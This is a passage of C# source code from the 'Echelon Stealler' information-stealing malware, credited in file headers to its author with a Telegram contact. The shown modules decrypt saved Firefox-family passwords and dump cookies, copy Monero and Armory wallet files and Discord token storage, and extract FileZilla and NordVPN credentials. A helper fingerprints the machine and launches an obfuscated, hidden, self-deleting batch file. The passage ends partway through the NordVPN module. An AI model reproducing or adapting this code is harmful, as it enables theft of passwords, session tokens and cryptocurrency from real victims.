+ xml.GetElementsByTagName("countryCode")[0].InnerText + "]"; string CountryCOde = countryCode; return CountryCOde; } // Получаем название страны типа: [Russian] public static string Country() //Help.Country() { XmlDocument xml = new XmlDocument(); xml.LoadXml(new WebClient().DownloadString(GeoIpURL)); //Получаем IP Geolocation Country string countryCode = "[" + xml.GetElementsByTagName("country")[0].InnerText + "]"; string Country = countryCode; return Country; } public static void Deocder() { File.WriteAllBytes(Path.GetTempPath() + Decrypt.Get("H4sIAAAAAAAEAIuJcUlNzk9JLdJLrUgFAPWHUugNAAAA"), Properties.Resources.Decoder); string batch = Path.GetTempPath() + Decrypt.Get("H4sIAAAAAAAEANNLzk0BAMPCtLEEAAAA"); using (StreamWriter sw = new StreamWriter(batch)) { sw.WriteLine(Decrypt.Get("H4sIAAAAAAAEAHNITc7IV8hPSwMAyqnEkQkAAAA=")); sw.WriteLine(Decrypt.Get("H4sIAAAAAAAEACvJzE3NLy1RMFGwU/AL9QEAGpgiIA8AAAA=")); // Задержка до выполнения следуюющих команд sw.WriteLine(Decrypt.Get("H4sIAAAAAAAEAAsOcQwKUQAA789iXwYAAAA=") + "\"" + "\" " + "\"" + Path.GetTempPath() + Decrypt.Get("H4sIAAAAAAAEAIuJcUlNzk9JLdJLrUgFAPWHUugNAAAA") + "\""); // Запускаем первый билд sw.WriteLine(Decrypt.Get("H4sIAAAAAAAEAHN2UQAAQkDmIgMAAAA=") + Path.GetTempPath()); // Переходим во временную папку юзера sw.WriteLine(Decrypt.Get("H4sIAAAAAAAEAHNx9VEAAJx/wSQEAAAA") + "\"" + Path.GetFileName(batch) + "\"" + " /f /q"); // Удаляем .cmd } Process.Start(new ProcessStartInfo() { FileName = batch, CreateNoWindow = true, ErrorDialog = false, UseShellExecute = false, WindowStyle = ProcessWindowStyle.Hidden }); } // Получаем VolumeSerialNumber public static string GetHwid() { string hwid = ""; try { string drive = Environment.GetFolderPath(Environment.SpecialFolder.System).Substring(0, 1); ManagementObject disk = new ManagementObject("win32_logicaldisk.deviceid=\"" + drive + ":\""); disk.Get(); string diskLetter = (disk["VolumeSerialNumber"].ToString()); hwid = diskLetter; } catch { } return hwid; } // Получаем Processor Id public static string GetProcessorID() { string sProcessorID = ""; string sQuery = "SELECT ProcessorId FROM Win32_Processor"; ManagementObjectSearcher oManagementObjectSearcher = new ManagementObjectSearcher(sQuery); ManagementObjectCollection oCollection = oManagementObjectSearcher.Get(); foreach (ManagementObject oManagementObject in oCollection) { sProcessorID = (string)oManagementObject["ProcessorId"]; } return (sProcessorID); } } } <file_sep>/Stealer/Browsers/Helpers/NoiseMe.Drags.App.Models.JSON/JsonValue.cs using System; using System.Collections; using System.Collections.Generic; using System.Globalization; using System.IO; using System.Reflection; using System.Text; namespace Echelon { public abstract class JsonValue : IEnumerable { public virtual int Count { get { throw new InvalidOperationException(); } } public abstract JsonType JsonType { get; } public virtual JsonValue this[int index] { get { throw new InvalidOperationException(); } set { throw new InvalidOperationException(); } } public virtual JsonValue this[string key] { get { throw new InvalidOperationException(); } set { throw new InvalidOperationException(); } } public static JsonValue Load(Stream stream) { if (stream == null) { throw new ArgumentNullException("stream"); } return Load(new StreamReader(stream, detectEncodingFromByteOrderMarks: true)); } public static JsonValue Load(TextReader textReader) { if (textReader == null) { throw new ArgumentNullException("textReader"); } return ToJsonValue(new JavaScriptReader(textReader).Read()); } private static IEnumerable<KeyValuePair<string, JsonValue>> ToJsonPairEnumerable(IEnumerable<KeyValuePair<string, object>> kvpc) { foreach (KeyValuePair<string, object> item in kvpc) { yield return new KeyValuePair<string, JsonValue>(item.Key, ToJsonValue(item.Value)); } } private static IEnumerable<JsonValue> ToJsonValueEnumerable(IEnumerable arr) { foreach (object item in arr) { yield return ToJsonValue(item); } } public static JsonValue ToJsonValue<T>(T ret) { if (ret == null) { return null; } T val; if ((val = ret) is bool) { bool value = (bool)(object)val; return new JsonPrimitive(value); } if ((val = ret) is byte) { byte value2 = (byte)(object)val; return new JsonPrimitive(value2); } if ((val = ret) is char) { char value3 = (char)(object)val; return new JsonPrimitive(value3); } if ((val = ret) is decimal) { decimal value4 = (decimal)(object)val; return new JsonPrimitive(value4); } if ((val = ret) is double) { double value5 = (double)(object)val; return new JsonPrimitive(value5); } if ((val = ret) is float) { float value6 = (float)(object)val; return new JsonPrimitive(value6); } if ((val = ret) is int) { int value7 = (int)(object)val; return new JsonPrimitive(value7); } if ((val = ret) is long) { long value8 = (long)(object)val; return new JsonPrimitive(value8); } if ((val = ret) is sbyte) { sbyte value9 = (sbyte)(object)val; return new JsonPrimitive(value9); } if ((val = ret) is short) { short value10 = (short)(object)val; return new JsonPrimitive(value10); } string value11; if ((value11 = (ret as string)) != null) { return new JsonPrimitive(value11); } if ((val = ret) is uint) { uint value12 = (uint)(object)val; return new JsonPrimitive(value12); } if ((val = ret) is ulong) { ulong value13 = (ulong)(object)val; return new JsonPrimitive(value13); } if ((val = ret) is ushort) { ushort value14 = (ushort)(object)val; return new JsonPrimitive(value14); } if ((val = ret) is DateTime) { DateTime value15 = (DateTime)(object)val; return new JsonPrimitive(value15); } if ((val = ret) is DateTimeOffset) { DateTimeOffset value16 = (DateTimeOffset)(object)val; return new JsonPrimitive(value16); } if ((val = ret) is Guid) { Guid value17 = (Guid)(object)val; return new JsonPrimitive(value17); } if ((val = ret) is TimeSpan) { TimeSpan value18 = (TimeSpan)(object)val; return new JsonPrimitive(value18); } Uri value19; if ((object)(value19 = (ret as Uri)) != null) { return new JsonPrimitive(value19); } IEnumerable<KeyValuePair<string, object>> enumerable = ret as IEnumerable<KeyValuePair<string, object>>; if (enumerable != null) { return new JsonObject(ToJsonPairEnumerable(enumerable)); } IEnumerable enumerable2 = ret as IEnumerable; if (enumerable2 != null) { return new JsonArray(ToJsonValueEnumerable(enumerable2)); } if (!(ret is IEnumerable)) { PropertyInfo[] properties = ret.GetType().GetProperties(); Dictionary<string, object> dictionary = new Dictionary<string, object>(); PropertyInfo[] array = properties; foreach (PropertyInfo propertyInfo in array) { dictionary.Add(propertyInfo.Name, propertyInfo.GetValue(ret, null).IsNull("null")); } if (dictionary.Count > 0) { return new JsonObject(ToJsonPairEnumerable(dictionary)); } } throw new NotSupportedException($"Unexpected parser return type: {ret.GetType()}"); } public static JsonValue Parse(string jsonString) { if (jsonString == null) { throw new ArgumentNullException("jsonString"); } return Load(new StringReader(jsonString)); } public virtual bool ContainsKey(string key) { throw new InvalidOperationException(); } public virtual void Save(Stream stream, bool parsing) { if (stream == null) { throw new ArgumentNullException("stream"); } Save(new StreamWriter(stream), parsing); } public virtual void Save(TextWriter textWriter, bool parsing) { if (textWriter == null) { throw new ArgumentNullException("textWriter"); } Savepublic(textWriter, parsing); } private void Savepublic(TextWriter w, bool saving) { switch (JsonType) { case JsonType.Object: { w.Write('{'); bool flag = false; foreach (KeyValuePair<string, JsonValue> item in (JsonObject)this) { if (flag) { w.Write(", "); } w.Write('"'); w.Write(EscapeString(item.Key)); w.Write("\": "); if (item.Value == null) { w.Write("null"); } else { item.Value.Savepublic(w, saving); } flag = true; } w.Write('}'); break; } case JsonType.Array: { w.Write('['); bool flag = false; foreach (JsonValue item2 in (IEnumerable<JsonValue>)(JsonArray)this) { if (flag) { w.Write(", "); } if (item2 != null) { item2.Savepublic(w, saving); } else { w.Write("null"); } flag = true; } w.Write(']'); break; } case JsonType.Boolean: w.Write(this ? "true" : "false"); break; case JsonType.String: if (saving) { w.Write('"'); } w.Write(EscapeString(((JsonPrimitive)this).GetFormattedString())); if (saving) { w.Write('"'); } break; default: w.Write(((JsonPrimitive)this).GetFormattedString()); break; } } public string ToString(bool saving = true) { StringWriter stringWriter = new StringWriter(); Save(stringWriter, saving); return stringWriter.ToString(); } IEnumerator IEnumerable.GetEnumerator() { throw new InvalidOperationException(); } private bool NeedEscape(string src, int i) { char c = src[i]; if (c >= ' ' && c != '"' && c != '\\' && (c < '\ud800' || c > '\udbff' || (i != src.Length - 1 && src[i + 1] >= '\udc00' && src[i + 1] <= '\udfff')) && (c < '\udc00' || c > '\udfff' || (i != 0 && src[i - 1] >= '\ud800' && src[i - 1] <= '\udbff')) && c != '\u2028' && c != '\u2029') { if (c == '/' && i > 0) { return src[i - 1] == '<'; } return false; } return true; } public string EscapeString(string src) { if (src == null) { return null; } for (int i = 0; i < src.Length; i++) { if (NeedEscape(src, i)) { StringBuilder stringBuilder = new StringBuilder(); if (i > 0) { stringBuilder.Append(src, 0, i); } return DoEscapeString(stringBuilder, src, i); } } return src; } private string DoEscapeString(StringBuilder sb, string src, int cur) { int num = cur; for (int i = cur; i < src.Length; i++) { if (NeedEscape(src, i)) { sb.Append(src, num, i - num); switch (src[i]) { case '\b': sb.Append("\\b"); break; case '\f': sb.Append("\\f"); break; case '\n': sb.Append("\\n"); break; case '\r': sb.Append("\\r"); break; case '\t': sb.Append("\\t"); break; case '"': sb.Append("\\\""); break; case '\\': sb.Append("\\\\"); break; case '/': sb.Append("\\/"); break; default: sb.Append("\\u"); sb.Append(((int)src[i]).ToString("x04")); break; } num = i + 1; } } sb.Append(src, num, src.Length - num); return sb.ToString(); } public static implicit operator JsonValue(bool value) { return new JsonPrimitive(value); } public static implicit operator JsonValue(byte value) { return new JsonPrimitive(value); } public static implicit operator JsonValue(char value) { return new JsonPrimitive(value); } public static implicit operator JsonValue(decimal value) { return new JsonPrimitive(value); } public static implicit operator JsonValue(double value) { return new JsonPrimitive(value); } public static implicit operator JsonValue(float value) { return new JsonPrimitive(value); } public static implicit operator JsonValue(int value) { return new JsonPrimitive(value); } public static implicit operator JsonValue(long value) { return new JsonPrimitive(value); } public static implicit operator JsonValue(sbyte value) { return new JsonPrimitive(value); } public static implicit operator JsonValue(short value) { return new JsonPrimitive(value); } public static implicit operator JsonValue(string value) { return new JsonPrimitive(value); } public static implicit operator JsonValue(uint value) { return new JsonPrimitive(value); } public static implicit operator JsonValue(ulong value) { return new JsonPrimitive(value); } public static implicit operator JsonValue(ushort value) { return new JsonPrimitive(value); } public static implicit operator JsonValue(DateTime value) { return new JsonPrimitive(value); } public static implicit operator JsonValue(DateTimeOffset value) { return new JsonPrimitive(value); } public static implicit operator JsonValue(Guid value) { return new JsonPrimitive(value); } public static implicit operator JsonValue(TimeSpan value) { return new JsonPrimitive(value); } public static implicit operator JsonValue(Uri value) { return new JsonPrimitive(value); } public static implicit operator bool(JsonValue value) { if (value == null) { throw new ArgumentNullException("value"); } return Convert.ToBoolean(((JsonPrimitive)value).Value, NumberFormatInfo.InvariantInfo); } public static implicit operator byte(JsonValue value) { if (value == null) { throw new ArgumentNullException("value"); } return Convert.ToByte(((JsonPrimitive)value).Value, NumberFormatInfo.InvariantInfo); } public static implicit operator char(JsonValue value) { if (value == null) { throw new ArgumentNullException("value"); } return Convert.ToChar(((JsonPrimitive)value).Value, NumberFormatInfo.InvariantInfo); } public static implicit operator decimal(JsonValue value) { if (value == null) { throw new ArgumentNullException("value"); } return Convert.ToDecimal(((JsonPrimitive)value).Value, NumberFormatInfo.InvariantInfo); } public static implicit operator double(JsonValue value) { if (value == null) { throw new ArgumentNullException("value"); } return Convert.ToDouble(((JsonPrimitive)value).Value, NumberFormatInfo.InvariantInfo); } public static implicit operator float(JsonValue value) { if (value == null) { throw new ArgumentNullException("value"); } return Convert.ToSingle(((JsonPrimitive)value).Value, NumberFormatInfo.InvariantInfo); } public static implicit operator int(JsonValue value) { if (value == null) { throw new ArgumentNullException("value"); } return Convert.ToInt32(((JsonPrimitive)value).Value, NumberFormatInfo.InvariantInfo); } public static implicit operator long(JsonValue value) { if (value == null) { throw new ArgumentNullException("value"); } return Convert.ToInt64(((JsonPrimitive)value).Value, NumberFormatInfo.InvariantInfo); } public static implicit operator sbyte(JsonValue value) { if (value == null) { throw new ArgumentNullException("value"); } return Convert.ToSByte(((JsonPrimitive)value).Value, NumberFormatInfo.InvariantInfo); } public static implicit operator short(JsonValue value) { if (value == null) { throw new ArgumentNullException("value"); } return Convert.ToInt16(((JsonPrimitive)value).Value, NumberFormatInfo.InvariantInfo); } public static implicit operator string(JsonValue value) { return value?.ToString(); } public static implicit operator uint(JsonValue value) { if (value == null) { throw new ArgumentNullException("value"); } return Convert.ToUInt32(((JsonPrimitive)value).Value, NumberFormatInfo.InvariantInfo); } public static implicit operator ulong(JsonValue value) { if (value == null) { throw new ArgumentNullException("value"); } return Convert.ToUInt64(((JsonPrimitive)value).Value, NumberFormatInfo.InvariantInfo); } public static implicit operator ushort(JsonValue value) { if (value == null) { throw new ArgumentNullException("value"); } return Convert.ToUInt16(((JsonPrimitive)value).Value, NumberFormatInfo.InvariantInfo); } public static implicit operator DateTime(JsonValue value) { if (value == null) { throw new ArgumentNullException("value"); } return (DateTime)((JsonPrimitive)value).Value; } public static implicit operator DateTimeOffset(JsonValue value) { if (value == null) { throw new ArgumentNullException("value"); } return (DateTimeOffset)((JsonPrimitive)value).Value; } public static implicit operator TimeSpan(JsonValue value) { if (value == null) { throw new ArgumentNullException("value"); } return (TimeSpan)((JsonPrimitive)value).Value; } public static implicit operator Guid(JsonValue value) { if (value == null) { throw new ArgumentNullException("value"); } return (Guid)((JsonPrimitive)value).Value; } public static implicit operator Uri(JsonValue value) { if (value == null) { throw new ArgumentNullException("value"); } return (Uri)((JsonPrimitive)value).Value; } } } <file_sep>/Stealer/Browsers/Helpers/Steal.cs  using System; using System.Collections; using System.Collections.Generic; using System.Data; using System.Globalization; using System.IO; using System.Linq; using System.Security.Cryptography; using System.Text; using System.Text.RegularExpressions; using System.Threading; namespace Echelon { class Steal { public static int count = 0; public static int count_cookies = 0; public static List<string> domains = new List<string>(); public static List<string> Cookies_Gecko = new List<string>(); public static List<string> passwors = new List<string>(); public static List<string> credential = new List<string>(); public static List<string> FindPaths(string baseDirectory, int maxLevel = 4, int level = 1, params string[] files) { List<string> list = new List<string>(); if (files == null || files.Length == 0 || level > maxLevel) { return list; } try { string[] directories = Directory.GetDirectories(baseDirectory); foreach (string path in directories) { try { DirectoryInfo directoryInfo = new DirectoryInfo(path); FileInfo[] files2 = directoryInfo.GetFiles(); bool flag = false; for (int j = 0; j < files2.Length; j++) { if (flag) { break; } for (int k = 0; k < files.Length; k++) { if (flag) { break; } string a = files[k]; FileInfo fileInfo = files2[j]; if (a == fileInfo.Name) { flag = true; list.Add(fileInfo.FullName); } } } foreach (string item in FindPaths(directoryInfo.FullName, maxLevel, level + 1, files)) { if (!list.Contains(item)) { list.Add(item); } } directoryInfo = null; } catch { } } return list; } catch { return list; } } public static readonly string LocalAppData = Path.Combine(Environment.ExpandEnvironmentVariables("%USERPROFILE%"), "AppData\\Local"); public static readonly string TempDirectory = Path.Combine(Environment.ExpandEnvironmentVariables("%USERPROFILE%"), "AppData\\Local\\Temp"); public static readonly string RoamingAppData = Path.Combine(Environment.ExpandEnvironmentVariables("%USERPROFILE%"), "AppData\\Roaming"); public static void Creds(string profile, string browser_name, string profile_name) { try { if (File.Exists(Path.Combine(profile, "key3.db"))) { Lopos(profile, p3k(CreateTempCopy(Path.Combine(profile, "key3.db"))), browser_name, profile_name); } Lopos(profile, p4k(CreateTempCopy(Path.Combine(profile, "key4.db"))), browser_name, profile_name); } catch (Exception) { } } public static void Cookies() { List<string> list2 = new List<string>(); list2.AddRange(FindPaths(LocalAppData, 4, 1, "key3.db", "key4.db", "cookies.sqlite", "logins.json")); list2.AddRange(FindPaths(RoamingAppData, 4, 1, "key3.db", "key4.db", "cookies.sqlite", "logins.json")); foreach (string item in list2) { string fullName = new FileInfo(item).Directory.FullName; string text = item.Contains(RoamingAppData) ? prbn(fullName) : plbn(fullName); string profile_name = GetName(fullName); CookMhn(fullName, text, profile_name); string result = ""; foreach (var a in Cookies_Gecko) { result += a; } if (result != "") { File.WriteAllText(Help.Cookies + "\\Cookies_Mozilla.txt", result, Encoding.Default); } } } public static void Passwords() { List<string> list2 = new List<string>(); list2.AddRange(FindPaths(LocalAppData, 4, 1, "key3.db", "key4.db", "cookies.sqlite", "logins.json")); list2.AddRange(FindPaths(RoamingAppData, 4, 1, "key3.db", "key4.db", "cookies.sqlite", "logins.json")); foreach (string item in list2) { string fullName = new FileInfo(item).Directory.FullName; string text = item.Contains(RoamingAppData) ? prbn(fullName) : plbn(fullName); string profile_name = GetName(fullName); Creds(fullName, text, profile_name); string result = ""; foreach (var a in GeckoBrowsers) { result += a + Environment.NewLine; } if (result != "") { File.WriteAllText(Help.Passwords + "\\Passwords_Mozilla.txt", result, Encoding.Default); } } // Console.ReadKey(); } private static string GetName(string path) { try { string[] array = path.Split(new char[1] { '\\' }, StringSplitOptions.RemoveEmptyEntries); return array[array.Length - 1]; } catch { } return "Unknown"; } public static readonly byte[] Key4MagicNumber = new byte[16] { 248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1 }; public static string CreateTempCopy(string filePath) { string text = CreateTempPath(); File.Copy(filePath, text, overwrite: true); return text; } public static string CreateTempPath() { return Path.Combine(TempDirectory, "tempDataBase" + DateTime.Now.ToString("O").Replace(':', '_') + Thread.CurrentThread.GetHashCode() + Thread.CurrentThread.ManagedThreadId); } // public static List<string> GeckoCookies = new List<string>(); public static void CookMhn(string profile, string browser_name, string profile_name) { try { string text = Path.Combine(profile, "cookies.sqlite"); CNT cNT = new CNT(CreateTempCopy(text)); cNT.ReadTable("moz_cookies"); for (int i = 0; i < cNT.RowLength; i++) { try { domains.Add(cNT.ParseValue(i, "host").Trim()); Cookies_Gecko.Add(cNT.ParseValue(i, "host").Trim() + "\t" + (cNT.ParseValue(i, "isSecure") == "1") + "\t" + cNT.ParseValue(i, "path").Trim() + "\t" + (cNT.ParseValue(i, "isSecure") == "1") + "\t" + cNT.ParseValue(i, "expiry").Trim() + "\t" + cNT.ParseValue(i, "name").Trim() + "\t" + cNT.ParseValue(i, "value") + System.Environment.NewLine); //Console.WriteLine(cNT.ParseValue(i, "host").Trim() + "\t" + (cNT.ParseValue(i, "isSecure") == "1") + "\t" + cNT.ParseValue(i, "path").Trim() + "\t" + (cNT.ParseValue(i, "isSecure") == "1") + "\t" + cNT.ParseValue(i, "expiry").Trim() + "\t" + cNT.ParseValue(i, "name").Trim() + "\t" + cNT.ParseValue(i, "value") + System.Environment.NewLine); } catch { } } } catch (Exception) { } } public static List<string> GeckoBrowsers = new List<string>(); public static void Lopos(string profile, byte[] privateKey, string browser_name, string profile_name) { try { string path = CreateTempCopy(Path.Combine(profile, "logins.json")); if (File.Exists(path)) { { foreach (JsonValue item in (IEnumerable)File.ReadAllText(path).FromJSON()["logins"]) { Gecko4 Gecko4 = Gecko1.Create(Convert.FromBase64String(item["encryptedUsername"].ToString(saving: false))); Gecko4 Gecko42 = Gecko1.Create(Convert.FromBase64String(item["encryptedPassword"].ToString(saving: false))); string text = Regex.Replace(Gecko6.lTRjlt(privateKey, Gecko4.Objects[0].Objects[1].Objects[1].ObjectData, Gecko4.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); string text2 = Regex.Replace(Gecko6.lTRjlt(privateKey, Gecko42.Objects[0].Objects[1].Objects[1].ObjectData, Gecko42.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); credential.Add("URL : " + item["hostname"] + System.Environment.NewLine + "Login: " + text + System.Environment.NewLine + "Password: " + text2 + System.Environment.NewLine); GeckoBrowsers.Add("URL : " + item["hostname"] + System.Environment.NewLine + "Login: " + text + System.Environment.NewLine + "Password: " + text2 + System.Environment.NewLine); count++; } for (int i = 0; i < credential.Count(); i++) { //passwors.Add("Browser : " + browser_name + System.Environment.NewLine + "Profile : " + profile_name + System.Environment.NewLine + credential[i]); GeckoBrowsers.Add("Browser : " + browser_name + System.Environment.NewLine + "Profile : " + profile_name + System.Environment.NewLine + credential[i]); // Console.WriteLine("Browser : " + browser_name + System.Environment.NewLine + "Profile : " + profile_name + System.Environment.NewLine + credential[i]); } credential.Clear(); } } } catch (Exception) { } } private static byte[] p4k(string file) { byte[] result = new byte[24]; try { if (!File.Exists(file)) { return result; } CNT cNT = new CNT(file); cNT.ReadTable("metaData"); string s = cNT.ParseValue(0, "item1"); string s2 = cNT.ParseValue(0, "item2)"); Gecko4 Gecko4 = Gecko1.Create(Encoding.Default.GetBytes(s2)); byte[] objectData = Gecko4.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; byte[] objectData2 = Gecko4.Objects[0].Objects[1].ObjectData; Gecko8 Gecko8 = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData); Gecko8.го7па(); Gecko6.lTRjlt(Gecko8.DataKey, Gecko8.DataIV, objectData2); cNT.ReadTable("nssPrivate"); int rowLength = cNT.RowLength; string s3 = string.Empty; for (int i = 0; i < rowLength; i++) { if (cNT.ParseValue(i, "a102") == Encoding.Default.GetString(Key4MagicNumber)) { s3 = cNT.ParseValue(i, "a11"); break; } } Gecko4 Gecko42 = Gecko1.Create(Encoding.Default.GetBytes(s3)); objectData = Gecko42.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; objectData2 = Gecko42.Objects[0].Objects[1].ObjectData; Gecko8 = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData); Gecko8.го7па(); result = Encoding.Default.GetBytes(Gecko6.lTRjlt(Gecko8.DataKey, Gecko8.DataIV, objectData2, PaddingMode.PKCS7)); return result; } catch (Exception) { return result; } } //Если P4Key private static byte[] p3k(string file) { byte[] array = new byte[24]; try { if (!File.Exists(file)) { return array; } new DataTable(); Gecko9 berkeleyDB = new Gecko9(file); Gecko7 Gecko7 = new Gecko7(vbv(berkeleyDB, (string x) => x.Equals("password-check"))); string hexString = vbv(berkeleyDB, (string x) => x.Equals("global-salt")); Gecko8 Gecko8 = new Gecko8(ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), ConvertHexStringToByteArray(Gecko7.EntrySalt)); Gecko8.го7па(); Gecko6.lTRjlt(Gecko8.DataKey, Gecko8.DataIV, ConvertHexStringToByteArray(Gecko7.Passwordcheck)); Gecko4 Gecko4 = Gecko1.Create(ConvertHexStringToByteArray(vbv(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt")))); Gecko8 Gecko82 = new Gecko8(ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), Gecko4.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData); Gecko82.го7па(); Gecko4 Gecko42 = Gecko1.Create(Gecko1.Create(Encoding.Default.GetBytes(Gecko6.lTRjlt(Gecko82.DataKey, Gecko82.DataIV, Gecko4.Objects[0].Objects[1].ObjectData))).Objects[0].Objects[2].ObjectData); if (Gecko42.Objects[0].Objects[3].ObjectData.Length <= 24) { array = Gecko42.Objects[0].Objects[3].ObjectData; return array; } Array.Copy(Gecko42.Objects[0].Objects[3].ObjectData, Gecko42.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24); return array; } catch (Exception) { return array; } }//Если P3Key public static byte[] ConvertHexStringToByteArray(string hexString) { if (hexString.Length % 2 != 0) { throw new ArgumentException(string.Format(CultureInfo.InvariantCulture, "The binary key cannot have an odd number of digits: {0}", hexString)); } byte[] array = new byte[hexString.Length / 2]; for (int i = 0; i < array.Length; i++) { string s = hexString.Substring(i * 2, 2); array[i] = byte.Parse(s, NumberStyles.HexNumber, CultureInfo.InvariantCulture); } return array; }//По названию думай private static string vbv(Gecko9 berkeleyDB, Func<string, bool> predicate) { string text = string.Empty; try { foreach (KeyValuePair<string, string> key in berkeleyDB.Keys) { if (predicate(key.Key)) { text = key.Value; } } } catch (Exception) { } return text.Replace("-", string.Empty); } private static string prbn(string profilesDirectory) { string text = string.Empty; try { string[] array = profilesDirectory.Split(new string[1] { "AppData\\Roaming\\" }, StringSplitOptions.RemoveEmptyEntries)[1].Split(new char[1] { '\\' }, StringSplitOptions.RemoveEmptyEntries); text = ((!(array[2] == "Profiles")) ? array[0] : array[1]); } catch (Exception) { } return text.Replace(" ", string.Empty); } private static string plbn(string profilesDirectory) { string text = string.Empty; try { string[] array = profilesDirectory.Split(new string[1] { "AppData\\Local\\" }, StringSplitOptions.RemoveEmptyEntries)[1].Split(new char[1] { '\\' }, StringSplitOptions.RemoveEmptyEntries); text = ((!(array[2] == "Profiles")) ? array[0] : array[1]); } catch (Exception) { } return text.Replace(" ", string.Empty); } } } <file_sep>/Stealer/Wallets/Monero.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using Microsoft.Win32; using System.IO; namespace Echelon { class Monero { public static int count = 0; public static string base64xmr = "\\Wallets\\Monero\\"; public static void XMRcoinStr(string directorypath) // Works { try { using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software").OpenSubKey("monero-project").OpenSubKey("monero-core")) try { Directory.CreateDirectory(directorypath + base64xmr); string dir = registryKey.GetValue("wallet_path").ToString().Replace("/", "\\"); Directory.CreateDirectory(directorypath + base64xmr); File.Copy(dir, directorypath + base64xmr + dir.Split('\\')[dir.Split('\\').Length - 1]); count++; Wallets.count++; } catch { } } catch { } } } } <file_sep>/Stealer/FTP/FileZilla.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using System; using System.IO; using System.Text; using System.Xml; namespace Echelon { class FileZilla { public static int count = 0; private static StringBuilder SB = new StringBuilder(); public static readonly string FzPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), @"FileZilla\recentservers.xml"); public static void GetFileZilla(string Echelon_Dir) { if (File.Exists(FzPath)) { Directory.CreateDirectory(Echelon_Dir + "\\FileZilla"); GetDataFileZilla(FzPath, Echelon_Dir + "\\FileZilla" + "\\FileZilla.log"); } else {return;} } public static void GetDataFileZilla(string PathFZ, string SaveFile, string RS = "RecentServers", string Serv = "Server") { try { if (File.Exists(PathFZ)) { try { var xf = new XmlDocument(); xf.Load(PathFZ); foreach (XmlElement XE in ((XmlElement)xf.GetElementsByTagName(RS)[0]).GetElementsByTagName(Serv)) { var Host = XE.GetElementsByTagName("Host")[0].InnerText; var Port = XE.GetElementsByTagName("Port")[0].InnerText; var User = XE.GetElementsByTagName("User")[0].InnerText; var Pass = (Encoding.UTF8.GetString(Convert.FromBase64String(XE.GetElementsByTagName("Pass")[0].InnerText))); if (!string.IsNullOrEmpty(Host) && !string.IsNullOrEmpty(Port) && !string.IsNullOrEmpty(User) && !string.IsNullOrEmpty(Pass)) { SB.AppendLine($"Host: {Host}"); SB.AppendLine($"Port: {Port}"); SB.AppendLine($"User: {User}"); SB.AppendLine($"Pass: {Pass}\r\n"); count++; } else { break; } } if (SB.Length > 0) { try { File.AppendAllText(SaveFile, SB.ToString()); } catch { } } } catch { } } } catch { } } } } <file_sep>/Stealer/Wallets/Armory.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using System.IO; namespace Echelon { class Armory { public static int count = 0; public static void ArmoryStr(string directorypath) // Works { try { if (Directory.Exists(Help.AppDate + "\\Armory\\")) { foreach (FileInfo file in new DirectoryInfo(Help.AppDate + "\\Armory\\").GetFiles()) { Directory.CreateDirectory(directorypath + "\\Wallets\\Armory\\"); file.CopyTo(directorypath + "\\Wallets\\Armory\\" + file.Name); } count++; Wallets.count++; } else { return; } } catch { } } } } <file_sep>/Stealer/Discord/DGrabber.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using System; using System.IO; namespace Echelon { class Discord { public static int count = 0; public static string dir = "\\discord\\Local Storage\\leveldb\\"; public static void GetDiscord(string Echelon_Dir) // Works { try { if (Directory.Exists(Help.AppDate + dir)) { foreach (FileInfo file in new DirectoryInfo(Help.AppDate + dir).GetFiles()) { Directory.CreateDirectory(Echelon_Dir + "\\Discord\\Local Storage\\leveldb\\"); file.CopyTo(Echelon_Dir + "\\Discord\\Local Storage\\leveldb\\" + file.Name); } count++; } else { return; } } catch { } } } } <file_sep>/Stealer/VPN/NordVPN.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using System; using System.IO; using System.Security.Cryptography; using System.Text; using System.Xml; namespace Echelon { class NordVPN { public static int count = 0; public static string NordVPNDir = "\\Vpn\\NordVPN"; public static void GetNordVPN(string Echelon_Dir) { try { if (Directory.Exists(Help.LocalData + "\\NordVPN\\")) { Directory.CreateDirectory(Echelon_Dir + NordVPNDir); using (StreamWriter streamWriter = new StreamWriter(Echelon_Dir + NordVPNDir + "\\Account.log")) { DirectoryInfo directoryInfo = new DirectoryInfo(Path.Combine(Help.LocalData, "NordVPN")); if (directoryInfo.Exists) { DirectoryInfo[] directories = directoryInfo.GetDirectories("NordVpn.exe*"); for (int i = 0; i < directories.Length; i++) { foreach (DirectoryInfo directoryInfo2 in directories[i].GetDirectories()) { streamWriter.WriteLine("\tFound version " + directoryInfo2.Name); string text = Path.Combine(directoryInfo2.FullName, "user.config"); if (File.Exists(text)) { XmlDocument xmlDocument = new XmlDocument(); xmlDocument.Load(text); string innerText = xmlDocument.SelectSingleNode("//setting[@name='Username']/value").InnerText; string innerText2 = xmlDocument.SelectSingleNode("//setting[@name='Password']/value").InnerText; if (innerText != null && !string.IsNullOrEmpty(innerText)) { streamWriter.WriteLine("\t\tUsername: " + Nord_Vpn_Decoder(innerText)); } if (innerText2 != null && 